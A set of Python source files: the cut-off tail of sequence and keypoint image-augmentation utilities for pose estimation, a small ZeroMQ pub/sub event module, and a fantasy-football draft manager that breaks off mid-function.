enumerate(sequences): is_end = False for i_w, n in enumerate(seq): if n == end_id and is_end == False: # 1st time to see end_id is_end = True if max_length < i_w: max_length = i_w if remain_end_id is False: seq[i_w] = pad_val # set end_id to pad_val elif is_end ==True: seq[i_w] = pad_val if remain_end_id is True: max_length += 1 if is_shorten: for i, seq in enumerate(sequences): sequences[i] = seq[:max_length] return sequences def sequences_add_start_id(sequences, start_id=0, remove_last=False): """Add special start token(id) in the beginning of each sequence. Parameters ------------ sequences : list of list of int All sequences where each row is a sequence. start_id : int The start ID. remove_last : boolean Remove the last value of each sequences. Usually be used for removing the end ID. Returns ---------- list of list of int The processed sequences. Examples --------- >>> sentences_ids = [[4,3,5,3,2,2,2,2], [5,3,9,4,9,2,2,3]] >>> sentences_ids = sequences_add_start_id(sentences_ids, start_id=2) [[2, 4, 3, 5, 3, 2, 2, 2, 2], [2, 5, 3, 9, 4, 9, 2, 2, 3]] >>> sentences_ids = sequences_add_start_id(sentences_ids, start_id=2, remove_last=True) [[2, 4, 3, 5, 3, 2, 2, 2], [2, 5, 3, 9, 4, 9, 2, 2]] For Seq2seq >>> input = [a, b, c] >>> target = [x, y, z] >>> decode_seq = [start_id, a, b] <-- sequences_add_start_id(input, start_id, True) """ sequences_out = [[] for _ in range(len(sequences))] #[[]] * len(sequences) for i, _ in enumerate(sequences): if remove_last: sequences_out[i] = [start_id] + sequences[i][:-1] else: sequences_out[i] = [start_id] + sequences[i] return sequences_out def sequences_add_end_id(sequences, end_id=888): """Add special end token(id) in the end of each sequence. Parameters ----------- sequences : list of list of int All sequences where each row is a sequence. end_id : int The end ID. Returns ---------- list of list of int The processed sequences. Examples --------- >>> sequences = [[1,2,3],[4,5,6,7]] >>> print(sequences_add_end_id(sequences, end_id=999)) [[1, 2, 3, 999], [4, 5, 6, 999]] """ sequences_out = [[] for _ in range(len(sequences))] #[[]] * len(sequences) for i, _ in enumerate(sequences): sequences_out[i] = sequences[i] + [end_id] return sequences_out def sequences_add_end_id_after_pad(sequences, end_id=888, pad_id=0): """Add special end token(id) in the end of each sequence. Parameters ----------- sequences : list of list of int All sequences where each row is a sequence. end_id : int The end ID. pad_id : int The pad ID. Returns ---------- list of list of int The processed sequences. Examples --------- >>> sequences = [[1,2,0,0], [1,2,3,0], [1,2,3,4]] >>> print(sequences_add_end_id_after_pad(sequences, end_id=99, pad_id=0)) [[1, 2, 99, 0], [1, 2, 3, 99], [1, 2, 3, 4]] """ # sequences_out = [[] for _ in range(len(sequences))]#[[]] * len(sequences) sequences_out = copy.deepcopy(sequences) # # add a pad to all # for i in range(len(sequences)): # for j in range(len(sequences[i])): # sequences_out[i].append(pad_id) # # pad -- > end # max_len = 0 for i, v in enumerate(sequences): for j, _v2 in enumerate(v): if sequences[i][j] == pad_id: sequences_out[i][j] = end_id # if j > max_len: # max_len = j break # # remove pad if too long # for i in range(len(sequences)): # for j in range(len(sequences[i])): # sequences_out[i] = sequences_out[i][:max_len+1] return sequences_out def sequences_get_mask(sequences, pad_val=0): """Return mask for sequences. Parameters ----------- sequences : list of list of int All sequences where each row is a sequence. pad_val : int The pad value. Returns ---------- list of list of int The mask. Examples --------- >>> sentences_ids = [[4, 0, 5, 3, 0, 0], ... [5, 3, 9, 4, 9, 0]] >>> mask = sequences_get_mask(sentences_ids, pad_val=0) [[1 1 1 1 0 0] [1 1 1 1 1 0]] """ mask = np.ones_like(sequences) for i, seq in enumerate(sequences): for i_w in reversed(range(len(seq))): if seq[i_w] == pad_val: mask[i, i_w] = 0 else: break # <-- exit the for loop, prepcess next sequence return mask def keypoint_random_crop(image, annos, mask=None, size=(368, 368)): """Randomly crop an image and corresponding keypoints without influence scales, given by ``keypoint_random_resize_shortestedge``. Parameters ----------- image : 3 channel image The given image for augmentation. annos : list of list of floats The keypoints annotation of people. mask : single channel image or None The mask if available. size : tuple of int The size of returned image. Returns ---------- preprocessed image, annotation, mask """ _target_height = size[0] _target_width = size[1] target_size = (_target_width, _target_height) if len(np.shape(image)) == 2: image = cv2.cvtColor(image, cv2.COLOR_GRAY2RGB) height, width, _ = np.shape(image) for _ in range(50): x = random.randrange(0, width - target_size[0]) if width > target_size[0] else 0 y = random.randrange(0, height - target_size[1]) if height > target_size[1] else 0 # check whether any face is inside the box to generate a reasonably-balanced datasets for joint in annos: if x <= joint[0][0] < x + target_size[0] and y <= joint[0][1] < y + target_size[1]: break def pose_crop(image, annos, mask, x, y, w, h): # TODO : speed up with affine transform # adjust image target_size = (w, h) img = image resized = img[y:y + target_size[1], x:x + target_size[0], :] resized_mask = mask[y:y + target_size[1], x:x + target_size[0]] # adjust meta data adjust_joint_list = [] for joint in annos: adjust_joint = [] for point in joint: if point[0] < -10 or point[1] < -10: adjust_joint.append((-1000, -1000)) continue new_x, new_y = point[0] - x, point[1] - y # should not crop outside the image if new_x > w - 1 or new_y > h - 1: adjust_joint.append((-1000, -1000)) continue adjust_joint.append((new_x, new_y)) adjust_joint_list.append(adjust_joint) return resized, adjust_joint_list, resized_mask return pose_crop(image, annos, mask, x, y, target_size[0], target_size[1]) def keypoint_resize_random_crop(image, annos, mask=None, size=(368, 368)): """Reszie the image to make either its width or height equals to the given sizes. Then randomly crop image without influence scales. Resize the image match with the minimum size before cropping, this API will change the zoom scale of object. Parameters ----------- image : 3 channel image The given image for augmentation. annos : list of list of floats The keypoints annotation of people. mask : single channel image or None The mask if available. size : tuple of int The size (height, width) of returned image. Returns ---------- preprocessed image, annos, mask """ if len(np.shape(image)) == 2: image = cv2.cvtColor(image, cv2.COLOR_GRAY2RGB) def resize_image(image, annos, mask, target_width, target_height): """Reszie image Parameters ----------- image : 3 channel image The given image. annos : list of list of floats Keypoints of people mask : single channel image or None The mask if available. target_width : int Expected width of returned image. target_height : int Expected height of returned image. Returns ---------- preprocessed input image, annos, mask """ y, x, _ = np.shape(image) ratio_y = target_height / y ratio_x = target_width / x new_joints = [] # update meta for people in annos: new_keypoints = [] for keypoints in people: if keypoints[0] < 0 or keypoints[1] < 0: new_keypoints.append((-1000, -1000)) continue pts = (int(keypoints[0] * ratio_x + 0.5), int(keypoints[1] * ratio_y + 0.5)) if pts[0] > target_width - 1 or pts[1] > target_height - 1: new_keypoints.append((-1000, -1000)) continue new_keypoints.append(pts) new_joints.append(new_keypoints) annos = new_joints new_image = cv2.resize(image, (target_width, target_height), interpolation=cv2.INTER_AREA) if mask is not None: new_mask = cv2.resize(mask, (target_width, target_height), interpolation=cv2.INTER_AREA) return new_image, annos, new_mask else: return new_image, annos, None _target_height = size[0] _target_width = size[1] if len(np.shape(image)) == 2: image = cv2.cvtColor(image, cv2.COLOR_GRAY2RGB) height, width, _ = np.shape(image) # print("the size of original img is:", height, width) if height <= width: ratio = _target_height / height new_width = int(ratio * width) if height == width: new_width = _target_height image, annos, mask = resize_image(image, annos, mask, new_width, _target_height) # for i in annos: # if len(i) is not 19: # print('Joints of person is not 19 ERROR FROM RESIZE') if new_width > _target_width: crop_range_x = np.random.randint(0, new_width - _target_width) else: crop_range_x = 0 image = image[:, crop_range_x:crop_range_x + _target_width, :] if mask is not None: mask = mask[:, crop_range_x:crop_range_x + _target_width] # joint_list= [] new_joints = [] #annos-pepople-joints (must be 19 or []) for people in annos: # print("number of keypoints is", np.shape(people)) new_keypoints = [] for keypoints in people: if keypoints[0] < -10 or keypoints[1] < -10: new_keypoints.append((-1000, -1000)) continue top = crop_range_x + _target_width - 1 if keypoints[0] >= crop_range_x and keypoints[0] <= top: # pts = (keypoints[0]-crop_range_x, keypoints[1]) pts = (int(keypoints[0] - crop_range_x), int(keypoints[1])) else: pts = (-1000, -1000) new_keypoints.append(pts) new_joints.append(new_keypoints) # if len(new_keypoints) != 19: # print('1:The Length of joints list should be 0 or 19 but actually:', len(new_keypoints)) annos = new_joints if height > width: ratio = _target_width / width new_height = int(ratio * height) image, annos, mask = resize_image(image, annos, mask, _target_width, new_height) # for i in annos: # if len(i) is not 19: # print('Joints of person is not 19 ERROR') if new_height > _target_height: crop_range_y = np.random.randint(0, new_height - _target_height) else: crop_range_y = 0 image = image[crop_range_y:crop_range_y + _target_width, :, :] if mask is not None: mask = mask[crop_range_y:crop_range_y + _target_width, :] new_joints = [] for people in annos: # TODO : speed up with affine transform new_keypoints = [] for keypoints in people: # case orginal points are not usable if keypoints[0] < 0 or keypoints[1] < 0: new_keypoints.append((-1000, -1000)) continue # y axis coordinate change bot = crop_range_y + _target_height - 1 if keypoints[1] >= crop_range_y and keypoints[1] <= bot: # pts = (keypoints[0], keypoints[1]-crop_range_y) pts = (int(keypoints[0]), int(keypoints[1] - crop_range_y)) # if pts[0]>367 or pts[1]>367: # print('Error2') else: pts = (-1000, -1000) new_keypoints.append(pts) new_joints.append(new_keypoints) # if len(new_keypoints) != 19: # print('2:The Length of joints list should be 0 or 19 but actually:', len(new_keypoints)) annos = new_joints # mask = cv2.resize(mask, (46, 46), interpolation=cv2.INTER_AREA) if mask is not None: return image, annos, mask else: return image, annos, None def keypoint_random_rotate(image, annos, mask=None, rg=15.): """Rotate an image and corresponding keypoints. Parameters ----------- image : 3 channel image The given image for augmentation. annos : list of list of floats The keypoints annotation of people. mask : single channel image or None The mask if available. rg : int or float Degree to rotate, usually 0 ~ 180. Returns ---------- preprocessed image, annos, mask """ def _rotate_coord(shape, newxy, point, angle): angle = -1 * angle / 180.0 * math.pi ox, oy = shape px, py = point ox /= 2 oy /= 2 qx = math.cos(angle) * (px - ox) - math.sin(angle) * (py - oy) qy = math.sin(angle) * (px - ox) + math.cos(angle) * (py - oy) new_x, new_y = newxy qx += ox - new_x qy += oy - new_y return int(qx + 0.5), int(qy + 0.5) def _largest_rotated_rect(w, h, angle): """ Get largest rectangle after rotation. http://stackoverflow.com/questions/16702966/rotate-image-and-crop-out-black-borders """ angle = angle / 180.0 * math.pi if w <= 0 or h <= 0: return 0, 0 width_is_longer = w >= h side_long, side_short = (w, h) if width_is_longer else (h, w) # since the solutions for angle, -angle and 180-angle are all the same, # if suffices to look at the first quadrant and the absolute values of sin,cos: sin_a, cos_a = abs(math.sin(angle)), abs(math.cos(angle)) if side_short <= 2. * sin_a * cos_a * side_long: # half constrained case: two crop corners touch the longer side, # the other two corners are on the mid-line parallel to the longer line x = 0.5 * side_short wr, hr = (x / sin_a, x / cos_a) if width_is_longer else (x / cos_a, x / sin_a) else: # fully constrained case: crop touches all 4 sides cos_2a = cos_a * cos_a - sin_a * sin_a wr, hr = (w * cos_a - h * sin_a) / cos_2a, (h * cos_a - w * sin_a) / cos_2a return int(np.round(wr)), int(np.round(hr)) img_shape = np.shape(image) height = img_shape[0] width = img_shape[1] deg = np.random.uniform(-rg, rg) img = image center = (img.shape[1] * 0.5, img.shape[0] * 0.5) # x, y rot_m = cv2.getRotationMatrix2D((int(center[0]), int(center[1])), deg, 1) ret = cv2.warpAffine(img, rot_m, img.shape[1::-1], flags=cv2.INTER_AREA, borderMode=cv2.BORDER_CONSTANT) if img.ndim == 3 and ret.ndim == 2: ret = ret[:, :, np.newaxis] neww, newh = _largest_rotated_rect(ret.shape[1], ret.shape[0], deg) neww = min(neww, ret.shape[1]) newh = min(newh, ret.shape[0]) newx = int(center[0] - neww * 0.5) newy = int(center[1] - newh * 0.5) # print(ret.shape, deg, newx, newy, neww, newh) img = ret[newy:newy + newh, newx:newx + neww] # adjust meta data adjust_joint_list = [] for joint in annos: # TODO : speed up with affine transform adjust_joint = [] for point in joint: if point[0] < -100 or point[1] < -100: adjust_joint.append((-1000, -1000)) continue x, y = _rotate_coord((width, height), (newx, newy), point, deg) if x > neww - 1 or y > newh - 1: adjust_joint.append((-1000, -1000)) continue if x < 0 or y < 0: adjust_joint.append((-1000, -1000)) continue adjust_joint.append((x, y)) adjust_joint_list.append(adjust_joint) joint_list = adjust_joint_list if mask is not None: msk = mask center = (msk.shape[1] * 0.5, msk.shape[0] * 0.5) # x, y rot_m = cv2.getRotationMatrix2D((int(center[0]), int(center[1])), deg, 1) ret = cv2.warpAffine(msk, rot_m, msk.shape[1::-1], flags=cv2.INTER_AREA, borderMode=cv2.BORDER_CONSTANT) if msk.ndim == 3 and msk.ndim == 2: ret = ret[:, :, np.newaxis] neww, newh = _largest_rotated_rect(ret.shape[1], ret.shape[0], deg) neww = min(neww, ret.shape[1]) newh = min(newh, ret.shape[0]) newx = int(center[0] - neww * 0.5) newy = int(center[1] - newh * 0.5) # print(ret.shape, deg, newx, newy, neww, newh) msk = ret[newy:newy + newh, newx:newx + neww] return img, joint_list, msk else: return img, joint_list, None def keypoint_random_flip( image, annos, mask=None, prob=0.5, flip_list=(0, 1, 5, 6, 7, 2, 3, 4, 11, 12, 13, 8, 9, 10, 15, 14, 17, 16, 18) ): """Flip an image and corresponding keypoints. Parameters ----------- image : 3 channel image The given image for augmentation. annos : list of list of floats The keypoints annotation of people. mask : single channel image or None The mask if available. prob : float, 0 to 1 The probability to flip the image, if 1, always flip the image. flip_list : tuple of int Denotes how the keypoints number be changed after flipping which is required for pose estimation task. The left and right body should be maintained rather than switch. (Default COCO format). Set to an empty tuple if you don't need to maintain left and right information. Returns ---------- preprocessed image, annos, mask """ _prob = np.random.uniform(0, 1.0) if _prob < prob: return image, annos, mask _, width, _ = np.shape(image) image = cv2.flip(image, 1) mask = cv2.flip(mask, 1) new_joints = [] for people in annos: # TODO : speed up with affine transform new_keypoints = [] for k in flip_list: point = people[k] if point[0] < 0 or point[1] < 0: new_keypoints.append((-1000, -1000)) continue if point[0] > image.shape[1] - 1 or point[1] > image.shape[0] - 1: new_keypoints.append((-1000, -1000)) continue if (width - point[0]) > image.shape[1] - 1: new_keypoints.append((-1000, -1000)) continue new_keypoints.append((width - point[0], point[1])) new_joints.append(new_keypoints) annos = new_joints return image, annos, mask def keypoint_random_resize(image, annos, mask=None, zoom_range=(0.8, 1.2)): """Randomly resize an image and corresponding keypoints. The height and width of image will be changed independently, so the scale will be changed. Parameters ----------- image : 3 channel image The given image for augmentation. annos : list of list of floats The keypoints annotation of people. mask : single channel image or None The mask if available. zoom_range : tuple of two floats The minimum and maximum factor to zoom in or out, e.g (0.5, 1) means zoom out 1~2 times. Returns ---------- preprocessed image, annos, mask """ height = image.shape[0] width = image.shape[1] _min, _max = zoom_range scalew = np.random.uniform(_min, _max) scaleh = np.random.uniform(_min, _max) neww = int(width * scalew) newh = int(height * scaleh) dst = cv2.resize(image, (neww, newh), interpolation=cv2.INTER_AREA) if mask is not None: mask = cv2.resize(mask, (neww, newh), interpolation=cv2.INTER_AREA) # adjust meta data adjust_joint_list = [] for joint in annos: # TODO : speed up with affine transform adjust_joint = [] for point in joint: if point[0] < -100 or point[1] < -100: adjust_joint.append((-1000, -1000)) continue adjust_joint.append((int(point[0] * scalew + 0.5), int(point[1] * scaleh + 0.5))) adjust_joint_list.append(adjust_joint) if mask is not None: return dst, adjust_joint_list, mask else: return dst, adjust_joint_list, None def keypoint_random_resize_shortestedge( image, annos, mask=None, min_size=(368, 368), zoom_range=(0.8, 1.2), pad_val=(0, 0, np.random.uniform(0.0, 1.0)) ): """Randomly resize an image and corresponding keypoints based on shorter edgeself. If the resized image is smaller than `min_size`, uses padding to make shape matchs `min_size`. The height and width of image will be changed together, the scale would not be changed. Parameters ----------- image : 3 channel image The given image for augmentation. annos : list of list of floats The keypoints annotation of people. mask : single channel image or None The mask if available. min_size : tuple of two int The minimum size of height and width. zoom_range : tuple of two floats The minimum and maximum factor to zoom in or out, e.g (0.5, 1) means zoom out 1~2 times. pad_val : int/float, or tuple of int or random function The three padding values for RGB channels respectively. Returns ---------- preprocessed image, annos, mask """ _target_height = min_size[0] _target_width = min_size[1] if len(np.shape(image)) == 2: image = cv2.cvtColor(image, cv2.COLOR_GRAY2RGB) height, width, _ = np.shape(image) ratio_w = _target_width / width ratio_h = _target_height / height ratio = min(ratio_w, ratio_h) target_size = int(min(width * ratio + 0.5, height * ratio + 0.5)) random_target = np.random.uniform(zoom_range[0], zoom_range[1]) target_size = int(target_size * random_target) # target_size = int(min(_network_w, _network_h) * random.uniform(0.7, 1.5)) def pose_resize_shortestedge(image, annos, mask, target_size): """ """ # _target_height = 368 # _target_width = 368 # img = image height, width, _ = np.shape(image) # adjust image scale = target_size / min(height, width) if height < width: newh, neww = target_size, int(scale * width + 0.5) else: newh, neww = int(scale * height + 0.5), target_size dst = cv2.resize(image, (neww, newh), interpolation=cv2.INTER_AREA) mask = cv2.resize(mask, (neww, newh), interpolation=cv2.INTER_AREA) pw = ph = 0 if neww < _target_width or newh < _target_height: pw = max(0, (_target_width - neww) // 2) ph = max(0, (_target_height - newh) // 2) mw = (_target_width - neww) % 2 mh = (_target_height - newh) % 2 # color = np.random.uniform(0.0, 1.0) dst = cv2.copyMakeBorder(dst, ph, ph + mh, pw, pw + mw, cv2.BORDER_CONSTANT, value=pad_val) #(0, 0, color)) if mask is not None: mask = cv2.copyMakeBorder(mask, ph, ph + mh, pw, pw + mw, cv2.BORDER_CONSTANT, value=1) # adjust meta data adjust_joint_list = [] for joint in annos: # TODO : speed up with affine transform adjust_joint = [] for point in joint: if point[0] < -100 or point[1] < -100: adjust_joint.append((-1000, -1000)) continue # if point[0] <= 0 or point[1] <= 0 or int(point[0]*scale+0.5) > neww or int(point[1]*scale+0.5) > newh: # adjust_joint.append((-1, -1)) # continue adjust_joint.append((int(point[0] * scale + 0.5) + pw, int(point[1] * scale + 0.5) + ph)) adjust_joint_list.append(adjust_joint) if mask is not None: return dst, adjust_joint_list, mask else: return dst, adjust_joint_list, None return pose_resize_shortestedge(image, annos, mask, target_size)
zmqevt.py
import zmq import pickle from itertools import repeat port = 50000 _ctx = zmq.Context() _sock = _ctx.socket(zmq.PUB) _sock.bind('tcp://127.0.0.1:{}'.format(port)) def encode(type, message): return '{} {}'.format(type, pickle.dumps(message)) def decode(message): type, payload = message.split(' ', 1) return type, pickle.loads(payload) def publish(type, message): _sock.send(encode(type, message)) def subscribe(type, callback=None, host=None): ctx = zmq.Context() sock = ctx.socket(zmq.SUB) host = host or '127.0.0.1' sock.connect('tcp://{}:{}'.format(host, port)) sock.setsockopt(zmq.SUBSCRIBE, type) queue = (decode(sock.recv()) for _ in repeat(None)) if callback: for type, message in queue: callback(type, message) else: return queue def _test(): from time import sleep from random import choice, random from threading import Lock, Thread def publisher(): countries = ['netherlands','brazil','germany','portugal'] events = ['yellow card', 'red card', 'goal', 'corner', 'foul'] while True: type, message = choice(countries), choice(events) publish(type, message) sleep(random()) thr = Thread(target=publisher) thr.daemon = True thr.start() plock = Lock() def log(message): with plock: print(message) class Reader(Thread): def __init__(self, type): Thread.__init__(self) self.type = type self.daemon = True def run(self): prefix = self.type or 'all' callback = lambda t, m: log('[{}] {}:{}'.format(prefix, t, m)) subscribe(self.type, callback) # Subscribe to brazil thr = Reader('brazil') thr.start() # Subscribe to all events thr = Reader('') thr.start() sleep(20) if __name__ == '__main__': _test()
draft.py
import pandas as pd import numpy as np import random import os import datetime import pickle from IPython.display import display from threading import Thread, Event import ipywidgets as widgets import time # Helper function for bolding text string def bold(string): return '\033[1m' + string + '\033[0m' # Helper function for ordinals def ordinal(num): lst = ['st', 'nd', 'rd'] + ['th'] * 17 + ( ['st', 'nd', 'rd'] + ['th'] * 7) * 100 return str(num) + lst[num - 1] class ReusableThread(Thread): """ Taken from: https://www.codeproject.com/Tips/1271787/Python-Reusable-Thread-Class This class provides code for a restartale / reusable thread join() will only wait for one (target)functioncall to finish finish() will finish the whole thread (after that, it's not restartable anymore) """ def __init__(self, target, args): self._startSignal = Event() self._oneRunFinished = Event() self._finishIndicator = False self._callable = target self._callableArgs = args Thread.__init__(self) def restart(self): """make sure to always call join() before restarting""" self._startSignal.set() def run(self): """ This class will reprocess the object "processObject" forever. Through the change of data inside processObject and start signals we can reuse the thread's resources""" self.restart() while True: # wait until we should process self._startSignal.wait() self._startSignal.clear() if self._finishIndicator: # check, if we want to stop self._oneRunFinished.set() return # call the threaded function self._callable(*self._callableArgs) # notify about the run's end self._oneRunFinished.set() def join(self, timeout=None): """ This join will only wait for one single run (target functioncall) to be finished""" self._oneRunFinished.wait() self._oneRunFinished.clear() def finish(self): self._finishIndicator = True self.restart() self.join() class Draft: def __init__(self, draft_format): # Draft basics assert draft_format in ('Salary Cap', 'Snake') self.format = draft_format self.curr_yr = str(datetime.datetime.now().year) self.last_yr = str(int(self.curr_yr) - 1) self.clock_num_sec = 10 self.clock = None self.num_rounds = 16 if self.format == 'Snake': self.input_str = """ You can either enter who you would like to draft or perform any of the following options by entering it's corresponding number: 1) Look at who you already have drafted 2) View your current depth chart 3) See Mike Clay's best players available 4) See the last 10 players drafted 5) Look at the full draft history """ else: self.input_str = """ You can either enter who you would like to nominate for the auction or perform any of the following options by entering it's corresponding number: 1) Look at individual draft histories 2) View all current depth charts 3) See expected salaries and point projections 4) See the last 10 players drafted 5) Look at the full draft history 6) Check how much a player is worth """ # File paths self.keepers_pkl = '{}/keepers.pkl'.format(self.curr_yr) self.draft_order_pkl = '{}/draft_order.pkl'.format(self.curr_yr) self.last_yr_res = '{}/draft_results.xlsx'.format(self.last_yr) self.raw_data = '{}/raw_data.xlsx'.format(self.curr_yr) self.last_yr_indv = '{}/indv_draft_results.xlsx'.format(self.last_yr) self.results = '{}/draft_results.xlsx'.format(self.curr_yr) self.indv_results = '{}/indv_draft_results.xlsx'.format(self.curr_yr) self.indv_depth_charts = '{}/indv_depth_charts.xlsx'.format( self.curr_yr) self.draft_params_pkl = '{}/draft_params.pkl'.format(self.curr_yr) # Data structures self.owners = pd.ExcelFile(self.last_yr_indv).sheet_names self.last_yr_df = pd.read_excel(self.last_yr_res, index_col=2) self.player_pool = pd.read_excel(self.raw_data, index_col=[0]) self.player_pool['Position'] = self.player_pool['Position'].str.strip() if os.path.exists(self.keepers_pkl): with open(self.keepers_pkl, 'rb') as f: self.keepers = pickle.load(f) else: self.keepers = None if os.path.exists(self.draft_order_pkl): with open(self.draft_order_pkl, 'rb') as f: self.draft_order = pickle.load(f) else: self.draft_order = None self.draft_history = pd.DataFrame( index=[], columns=self.player_pool.columns) self.draft_history.index.name = 'Pick Overall' self.draft_history_indv = {} self.depth_charts = {} for owner in self.owners: self.draft_history_indv[owner] = pd.DataFrame( index=[], columns=self.player_pool.columns) self.draft_history_indv[owner].index.name = 'Pick Overall' self.depth_charts[owner] = pd.read_excel( 'depth_chart_blank.xlsx', index_col=[0]) # Draft trackers self.pick = 1 self.owner_idx = 0 self.round_num = 1 # Resume draft if previously started if os.path.exists(self.draft_params_pkl): with open(self.draft_params_pkl, 'rb') as f: draft_params = pickle.load(f) self.pick, self.owner_idx, self.round_num, self.player_pool, \ self.draft_history, self.draft_history_indv, \ self.depth_charts = draft_params def _determine_keepers(self): self.keepers = {} for owner in self.owners: input_str = '{}, who would you like to keep? '.format(bold(owner)) player = input(input_str) while True: if player == '0': player = None round_lost = None break if player in self.last_yr_df.index: if self.last_yr_df.Round[player] > 1: round_lost = self.last_yr_df.Round[player] - 1 break else: input_str = '\nYou drafted that player in the 1st ' \ 'Round and cannot keep them. Who else ' \ 'would you like to keep? ' player = input(input_str) else: if player in self.player_pool.index.tolist(): round_lost = 16 break player = input('\nThat player is not in the player pool. ' 'Please re-enter the player, making sure ' 'you spelled his name correctly: ') if player: if self.format == 'Snake:': print('{} will count as your {} pick.\n'.format( bold(player), bold(ordinal(round_lost) + ' Round'))) self.keepers[owner] = { 'player': player, 'round': round_lost} elif self.format == 'Salary Cap': print('You have elected to keep {}.\n'.format( bold(player))) self.keepers[owner] = {'player': player, 'round': 0} with open(self.keepers_pkl, 'wb') as f: pickle.dump(self.keepers, f) def _determine_draft_order(self): random.shuffle(self.owners) self.draft_order = [None] * len(self.owners) for owner in self.owners: input_str = "\n{}, you're up!\nWhich draft slot would you " \ "like? ".format(bold(owner)) slot = int(input(input_str)) while True: if slot > 8 or slot < 1: input_str = '\nSelect a number between 1 and 8: ' slot = int(input(input_str)) elif self.draft_order[slot - 1]: input_str = '\nThat draft slot is already taken. ' \ 'Pick a different one: ' slot = int(input(input_str)) else: self.draft_order[slot - 1] = owner break with open(self.draft_order_pkl, 'wb') as f: pickle.dump(self.draft_order, f) @staticmethod def _fill_depth_chart(owner, position, depth_charts): spots = depth_charts[owner].index.tolist() spot = '' for spot in spots: if position in spot and pd.isnull( depth_charts[owner].at[spot, 'Player']): return spot elif (position == 'RB' or position == 'WR') and spot == \ 'FLEX' and pd.isnull(depth_charts[owner].at[ spot, 'Player']): return spot elif 'Bench' in spot and pd.isnull( depth_charts[owner].at[spot, 'Player']): return spot return spot[:-1] + str(int(spot[-1]) + 1) def _update_data_structs(self, the_pick): # Update depth chart / draft histories print(the_pick) self.draft_history.loc[self.pick] = the_pick self.draft_history_indv[the_pick['Owner']].loc[ self.pick] = the_pick.drop('Owner') index = self._fill_depth_chart( the_pick['Owner'], the_pick['Position'], self.depth_charts) self.depth_charts[the_pick['Owner']].loc[index] = the_pick.drop( ['Owner', 'Position']) self.depth_charts[the_pick['Owner']] = self.depth_charts[ the_pick['Owner']].astype({'Bye': pd.Int64Dtype()}) # Sort draft histories self.draft_history = self.draft_history.sort_values( 'Pick Overall') for own in self.owners: self.draft_history_indv[own] = \ self.draft_history_indv[own].sort_values( 'Pick Overall') def _save_data(self): # Save excel spreedsheets writer = pd.ExcelWriter(self.results) self.draft_history.to_excel(writer, 'Draft Results') writer.save() writer2 = pd.ExcelWriter(self.indv_results) for owner, df in self.draft_history_indv.items(): df.to_excel(writer2, owner) writer2.save() writer3 = pd.ExcelWriter(self.indv_depth_charts) for owner, df in self.depth_charts.items(): df.to_excel(writer3, owner) writer3.save() # Save draft parameters draft_params = [self.pick + 1, self.owner_idx + 1, self.round_num, self.player_pool, self.draft_history, self.draft_history_indv, self.depth_charts] with open(self.draft_params_pkl, 'wb') as f: pickle.dump(draft_params, f) def _manage_keepers(self): for owner, keeper_dct in self.keepers.items(): # Extract relevant info from keeper_dct player = keeper_dct['player'] if player: round_num = keeper_dct['round'] the_pick = self.player_pool.loc[player] the_pick['Player'] = player the_pick['Owner'] = owner if round_num % 2: spot_in_rd = self.draft_order.index(owner) else: spot_in_rd = len(self.owners) - self.draft_order.index( owner) self.pick = (round_num - 1) * len(self.owners) + spot_in_rd # Remove keeper from player pool self.player_pool = self.player_pool.drop(player) # Put keeper in draft histories and depth charts self._update_data_structs(the_pick) self._save_data() def pre_draft(self): # Create folder for current year if need be if not os.path.exists(self.curr_yr): os.mkdir(self.curr_yr) # Determine keepers if not already done for current year if self.keepers is None: self._determine_keepers() # Determine draft order if self.draft_order is None: self._determine_draft_order() # Keeper management if not os.path.exists(self.draft_params_pkl): self._manage_keepers() def _one_pick_snake(self, owner): # Notify owner they are up print("\n\n{}, you're on the clock!".format(bold(owner))) # Check if keeper should be taken this round if self.keepers[owner]['round'] == self.round_num: player = self.keepers[owner]['player'] print('\n{} Kept {} with the {} Overall Pick'.format( bold(owner), bold(player), bold(ordinal(self.pick)))) return while True: option = input(self.input_str) if option == '1': display(self.draft_history_indv[owner].sort_values( 'Pick Overall')) elif option == '2': display(self.depth_charts[owner]) elif option == '3': display(self.player_pool.head(10)) elif option == '4': display(self.draft_history[ self.draft_history.index < self.pick].tail(10)) elif option == '5': display(self.draft_history.sort_values('Pick Overall')) else: player = option while True: if option == '9': player = self.player_pool.head(1).index[0] if player in self.player_pool.index.tolist(): the_pick = self.player_pool.loc[player] self.player_pool = self.player_pool.drop( player) break player = input('\nThat player is not in the player pool. ' 'Please re-enter the player, making sure ' 'you spelled his name correctly: ') # Display pick print('\n{} Took {} with the {} Overall Pick'.format( bold(owner), bold(player), bold(ordinal(self.pick)))) # Put player in draft histories and depth charts self._update_data_structs(player, the_pick, owner) self._save_data() return def _bidding(self, player, owner): # Remove player from player pool the_pick = self.player_pool.loc[player] the_pick['Player'] = the_pick.index self.player_pool = self.player_pool.drop( player) # Get starting bid the_pick['Salary'] = input( '{}, what would you like the starting bid to be? '.format(owner)) # Start clock self.clock = widgets.FloatProgress(value=0.0, min=0.0, max=1.0) def work(progress): for i in range(100): time.sleep(self.clock_num_sec / 100) progress.value = float(i + 1) / 100 thread = ReusableThread(target=work, args=(self.clock,)) display(data=self.clock) thread.start() while True: bid = input('Enter bid and owner index (seperated by a space): ') if bid == '0': break the_pick['Salary'], the_pick['Owner'] = bid.split(' ') thread.restart() return the_pick def _one_pick_salary_cap(self, owner): # Notify owner they are up print("\n\n{}, you're up to nominate!".format(bold(owner))) while True: option = input(self.input_str) if option == '1': all_indv_draft_histories = pd.concat( self.draft_history_indv.values(), keys=self.draft_history_indv.keys()) display(data=all_indv_draft_histories) elif option == '2': all_depth_charts = pd.concat( self.depth_charts, axis=1).replace(np.nan, '', regex=True) mid_index = len(self.owners) * 3 // 2 display(all_depth_charts.iloc[:, :mid_index]) display(all_depth_charts.iloc[:, mid_index:]) elif option == '3': display(self.player_pool.head(10)) elif option == '4': display(self.draft_history[ self.draft_history.index < self.pick].tail(10)) elif option == '5': display(self.draft_history.sort_values('Pick Overall')) elif option == '6': check = input('\nEnter the player you would like to check the ' 'salary of: ') if check in self.player_pool.index: display(self.player_pool.loc[check]) else: print('\nThat player is not in the player pool.') else: player = option while True: if option == '9': player = self.player_pool.head(1).index[0] if player in self.player_pool.index.tolist(): the_pick = self._bidding(player, owner) break player = input('\nThat player is not in the player pool. ' 'Please re-enter the player, making sure ' 'you spelled his name correctly: ') # Display pick print('\n{} Took {} with the {} Overall Pick'.format( bold(owner), bold(player), bold(ordinal(self.pick)))) # Put player in draft histories and depth charts self._update_data_structs(the_pick) self._save_data() return def draft(self): # Perform draft while self.round_num < self.num_rounds + 1: print('\n\n\n\n{}'.format(bold('ROUND ' + str(self.round_num)))) while self.owner_idx < len(self.draft_order): if 